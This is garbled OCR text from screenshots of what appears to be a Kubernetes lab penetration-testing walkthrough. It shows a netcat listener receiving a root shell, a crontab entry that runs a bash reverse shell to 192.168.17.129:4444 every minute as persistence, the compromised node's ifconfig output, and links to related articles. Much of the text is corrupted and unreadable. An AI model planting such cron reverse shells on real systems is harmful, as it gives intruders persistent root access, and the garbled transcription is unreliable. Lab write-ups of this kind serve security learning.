root@zip:~/SE B # nc -lvvp 4444

listening on [any] 4444 ...

192.168.17.131: inverse host lookup failed: Unknown host

connect to [192.168.17.129] from (UNKNOWN) [192.168.17.131] 45140
bash: no job control in this shell : e S
[root@nodel ~}¢ ?Q . . K -

WERINRERSELEEH 7 node T RAYERESH, AITIZE Tnode IR, Hitt
TREE

[ CentOS 7 64 {ii-nodel [[}} CentOS 7 64 fii-node2 [} CentOS 7 64 fi-master 3 kali

a* Applications Places  Text Editor Wed0g:24 =& &) O
Open = | @ crontab [Read-Only]
[EHELL=/bin/bash
MPATH=/sbin:/bin: fusr/sbin: /usr/bin
MAILTO=root

# For details see man 4 crontabs
|

# Example of job definition:
minute (@ - 59)
hour (8 23)
day of menth (1 - 31)
month (1 - 12) OR jan,feb,mar,apr ...
- day of week (@ - 6} (Sunday=8 or 7) OR sun,mon,tue,wed,thu,fri,sat

S Lanane  connand to be egecited

* % * root bash -i >& /dev/tcp/192.168.17.129/4444 0>&1

sh = Tab Width: 8 = dn 1, Col.1

= = we /i
B 5earch for “cron” 7] crontab [Read-Only] {/etc) '-gc'-t =

192.168.17.131Anode 1111k

Cent0S 7 64 (it-nodel [} Cent0S 7 64 [il-node2 [ CentDS 7 64 {i-master m

] Shell No.1 10:49 74 O

ShellNo.1
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listening on [any] 4444 ...
192.16 31: inverse host lookup failed: Unknown host
connect 92.168.17.129] from (UNKNOWN) [192.168.17.131] 45140
bash: no _iob control im this shell
@dnodel ~hkt ifconfig

3<UP, BROADCAST , RUNNING,MULTICAST> mtu 1440
ff:feee:eeee prefixlen 64 scopeid @8x20<link>
ether ee:ee:ee:ee:ece:ee txqueuelen @ (Ethernet)
RX packets @ bytes @ (0.0 B)
errors @ dropped @ overruns © frame ©
packets @ bytes @0 (0.0 B)
errors © dropped @ overruns @ carrier © collisions @

dockero: =T 099<UP,BROADCAST,MULTICAST> mtu 1500
2.17.90.1 netmask 255.255.0.0 broadcast 172.17.255.255
©2:42:26:34:be:5a txqueuelen @ (Ethernet)
packets @ bytes @0 (0.0 B)
errors @ dropped © overruns @ frame ©
packets € bytes 0 (0.0 B)
errors @ dropped @ overruns 0 carrier @ collisions ©

yRROADCAST RUNNING,MULTICAST> mtu 1500
A7 .1313 netmask : .0 broadcast 192.

txqueuelen 1000

o =R4%kubernetes& £ https://blog.csdn.net/qq_34101364/article/details
/122506768

o [ZXBEES] NIREEMAIEIK8SERFZE (L) https://mp.weixin.qq.com
/s/yQoqozJgP8F-ad24xgzIPw

o [RBELESI] NIEEMAWHIK8SERFZE () https://mp.weixin.qg.com
/s/QEuQa0KVwykrMzOPdgEHMQ
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